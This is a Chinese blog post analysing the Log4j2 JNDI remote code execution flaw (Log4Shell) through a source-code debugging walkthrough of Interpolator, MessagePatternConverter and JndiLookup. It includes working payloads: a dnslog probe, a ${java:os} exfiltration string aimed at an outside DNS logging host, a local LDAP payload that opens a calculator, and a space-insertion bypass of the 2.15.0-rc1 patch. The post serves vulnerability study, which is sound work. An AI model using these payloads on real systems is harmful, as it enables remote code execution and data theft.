log4j2漏洞


看面经和复习期末考试都怪无聊的,看点这个核弹级漏洞

背景

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。

(阿里好像还因为没先跟cnvd说所以被罚了

前置知识

Log4j2

Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。

本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.14.1。

由于Log4j2重新构建和设计了框架,所以可以认为两者是完全独立的两个日志组件。但是他们的包还是很相似,这里给出一点差异

Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。
Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。

具体的发展过程可以看看这个https://paper.seebug.org/1789/的Java日志体系部分

JNDI

java命名和目录接口

它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()。

LDAP协议

轻型目录访问协议

LDAP可以理解是一个简单存储数据的数据库,不过它是树状结构的,树形结构存储数据,查询效率更高。

JNDI注入

第一个是由于JNDI的动态协议转换,即使初始化的context指定了协议,也会根据URL传入的参数来转换协议。

其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数是一个url地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。

正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

第二个是由于JNDI Naming Reference,Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 LDAP 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

其实可以简单理解为我这LDAP存储空间有限,我把多余的数据放在我的一个web网站里面,可以通过url地址进行引用,查询的数据如果我自己数据库里面没有,我就会自动去我这个指定的地址在web网站查找指定资源。

(这里jndi注入那篇写的有点赶,所以就没怎么细说原理,就在这里补上了

Log4j2源码浅析

然后简单分析一下源码

环境配置

先引入依赖

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>
</dependencies>

在工程目录resources下创建log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
    <appenders>
<!--        配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
        <Console name="Console" target="SYSTEM_OUT" >
<!--            配置Console的模式布局-->
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
        </Console>
    </appenders>
    <loggers>
        <root level="error">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

log4j2中包含两个关键组件LogManagerLoggerContextLogManager是Log4J2启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

image-20230604145321617

image-20230604145339868

属性占位符之Interpolator插值器

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator插值器内部以Map的方式则封装了多个StrLookup对象,如下图显示:

image-20230604150135457

简单说就是通过${prefix:key}这种方式可以调用这里面存的环境变量

然后在输出错误信息的时候

会进行一个检测

image-20230604150546298

先找strLookupMap里有没有这个prefix

比如这里这个prefix就是java

然后就会去调用对应的lookup方法

image-20230604151107758

假如我把java改成marker

image-20230604151221638

那再假如这里不是marker,而是jndi,那调用的就会是jndi的lookup,就有可能会造成jndi的注入

image-20230604151534344

这里虽然是JndiLookup,但是看名字最后调用的应该就是jndi的lookup,先不往下跟了,之后再说

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List<PatternConverter>转换器列表和List<FormattingInfo>格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。

序号 名称 类型 描述
1 d date DatePatternConverter 日志的时间戳
2 p level LevelPatternConverter 日志级别
3 m msg message MessagePatternConverter 日志中的消息内容
4 C class ClassNamePatternConverter 日志打印点所在类的类名 注意:需要给LoggerincludeLocation="true"属性开启位置
5 M method MethodLocationPatternConverter 日志打印点所在方法的方法名 注意:需要给LoggerincludeLocation="true"属性开启位置
6 c logger LoggerPatternConverter Logger实例的名称
7 n LineSeparatorPatternConverter 专门追加换行符
8 properties Log4j1MdcPatternConverter
9 ndc Log4j1NdcPatternConverter
10 enc encode EncodingPatternConverter
11 equalsIgnoreCase EqualsIgnoreCaseReplacementConverter
12 equals EqualsReplacementConverter
13 xEx xThroable xException ExtendedThrowablePatternConverter
14 F file FileLocationPatternConverter 注意:需要给LoggerincludeLocation="true"属性开启位置
15 l location FullLocationPatternConverter 相当于%C.%M(%F:%L) 注意:需要给LoggerincludeLocation="true"属性开启位置
16 highlight HighlightConverter
17 L line LineLocationPatternConverter 日志打印点的代码行数 注意:需要给LoggerincludeLocation="true"属性开启位置
18 K map MAP MapPatternConverter
19 marker MarkerPatternConverter 打印完整标记,格式如:标记名[父标记名[祖父标记名]],一个标记可以有多个父标记
20 markerSimpleName MarkerSimpleNamePatternConverter 只打印标记的名称
21 maxLength maxLen MaxLengthConverter
22 X mdc MDC MdcPatternConverter LogEvent.getContextData()映射诊断上下文
23 N nano NanoTimePatternConverter
24 x NDC NdcPatternConverter LogEvent.getContextStack()嵌套诊断上下文
25 replace RegexReplacementConverter
26 r relative RelativeTimePatternConverter
27 rEx rThrowable rException RootThrowablePatternConverter
28 style StyleConverter
29 T tid threadId ThreadIdPatternConverter 线程id
30 t tn thread threadName ThreadNamePatternConverter 线程名称
31 tp threadPriority ThreadPriorityPatternConverter 线程优先级
32 ex throwable Exception ThrowablePatternConverter 异常
33 u uuid UuidPatternConverter 生成一个uuid,随日志一起打印,用于唯一标识一条日志
34 notEmpty varsNotEmpty variablesNotEmpty VariablesNotEmptyReplacementConverter

简单说就是如果配置文件里写的是%msg这种,就去找MessagePatternConverter进行处理

这个MessagePatternConverter也是log4j漏洞产生的一个重要原因

日志级别

log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。 log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。

如果没有配置文件也没有指定则会默认使用Error级别,也就是200

漏洞细节

复现

网上最常见的就是dnslog的payload

${jndi:ldap://xxxx.ceye.io}

其实就是调用jndi的lookup,然后url就是dns://xxxx.ceye.io。让被攻击侧往这个url上发起dns请求

这里我就直接用ldap弹计算器了

首先是开启一个本地的ldap服务端,然后python在恶意字节码目录下起个服务

image-20230604163412225

跟一下流程

把断点下在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上

image-20230604163717093

这里会获取当前使用的布局,然后调用对应的encode方法

默认的话就是PatternLayout

所以就会调用PatternLayout的encode方法

image-20230604163829932

这里面有个toText方法

image-20230604163928931

接着进入toSerializable

这里边就会调用不同的Converter来处理传入的数据

image-20230604164138244

image-20230604164227823

这里我们只跟MessagePatternConverter

在MessagePatternConverter 的format里,对字符串进行了处理

image-20230604164448382

最主要的就是这个if里

image-20230604165229803

image-20230604165308270

可以看到第二行重设了workingBuilder这个StringBuilder对象的长度,把原本的83改成了50

这个50就是在输出的这行日志中出现$字符的位置

也就是说把${jndi:ldap://127.0.0.1:9999/exp}单独切了出来,不在workingBuilder里了

然后最后一行又进行了一个append操作,加入的内容是config.getStrSubstitutor().replace(event, value)

这里又是个替换

使用 Apache Commons Configuration 库中的 StrSubstitutor 对象来替换字符串中的占位符。

StrSubstitutor 是一个用于替换字符串中的变量的工具类。它可以根据提供的键值对,将字符串中的占位符替换为对应的值。通常情况下,占位符使用 ${} 或者 $() 包围。

value就是我们之前切出来的${jndi:ldap://127.0.0.1:9999/exp}

继续跟进会到Interpolator.lookup

image-20230604170321668

这里就是之前说的插值器的地方

先根据var.indexOf(PREFIX_SEPARATOR);判断":"之前的字符

再通过

final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);

把第一个:前后的东西分离

然后因为我们这里是jndi,所以这里的lookup就是JndiLookup

很自然就进JndiLookup的lookup方法里了

image-20230604170942269

继续进jndiManager.lookup

这个jndiName就是我们写的恶意ldap的url了

image-20230604171109684

现在到了InitialContext的lookup里了

image-20230604171437462

后边就纯ldap的jndi的路了

恶意url也传进去了

image-20230604171604286

到这里漏洞流程就结束了,但是还有一点问题

比如在源码解析里的日志级别好像并没有提到

日志级别也是影响是否能实现log4j2漏洞的一个因素

原因就是不管输出哪个级别的日志,都要调用这一个方法

image-20230604172239250

logIfEnabled方法用来判断日志优先级

image-20230604172342240

由于默认情况下是error,所以小于error的warn, info, debug, trace都不会满足这个判断,直接就返回了,不能接着往下走,也就不会触发漏洞了

可以在配置文件里自行设置优先级

image-20230604172559918

外带

就dnslog外带,也没啥特别的,只不过是借助log4j2的递归解析

${jndi:ldap://${java:os}.2lnhn2.ceye.io}

先解析${java:os},把东西拿到,然后再去发起请求

rc1绕过

在爆出log4j2这个核弹级漏洞后,apache自然是进行了修复

这次修复把MessagePatternConverter这个类进行了大改

我直接截个先知社区的图

image-20230604173121165

并且在 2.15.0-rc1的更新包中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 lookup 功能。

还有就是在JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext,而是使用子类 InitialDirContext,并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。

感觉不是很好利用,属于是除了ctf故意出题想不到还存在的场景了

所以就简单说了

rc1把format挪到LookupMessagePatternConverter里了

而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换

所以必须在配置文件里开启lookup才行

就是在%msg后边加个{lookups}

然后又因为还有个地址校验,只允许本地的发起请求了

image-20230604180008800

但是这个东西有个最离谱的问题,就是它的catch里没return

image-20230604180145857

所以只要try里报错,就直接进this.context.lookup了

所以就在exp前边加个空格让触发 URISyntaxException 异常

${jndi:ldap://127.0.0.1:9999/ exp}

rc2

在catch里把return加上了

似乎是还有绕过方法,但是对于那种配置文件要求苛刻的绕过,感觉意义不是很大

2.16.0-rc1

直接不支持日志信息的lookup了,所以log4j2漏洞就彻底结束了

总结

看起来log4j2的原理并不麻烦,甚至有点简单,但是我还是有点不太理解的地方,就是log4j2作为一个日志,为什么要去支持jndi的lookup,为什么要去远程请求东西。(可能确实用处不大吧,毕竟2.16版本直接删了

另外对于log4j2的jndi注入还衍生出了许多技巧。例如编码绕过、关键字截取、Appenders等,这里就不详细写了,用到再搜吧(

参考文章

https://su18.org/post/log4j2/

https://paper.seebug.org/1789/

log4j2漏洞原理和漏洞环境搭建复现_log4j2原理_糊涂是福yyyy的博客-CSDN博客


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录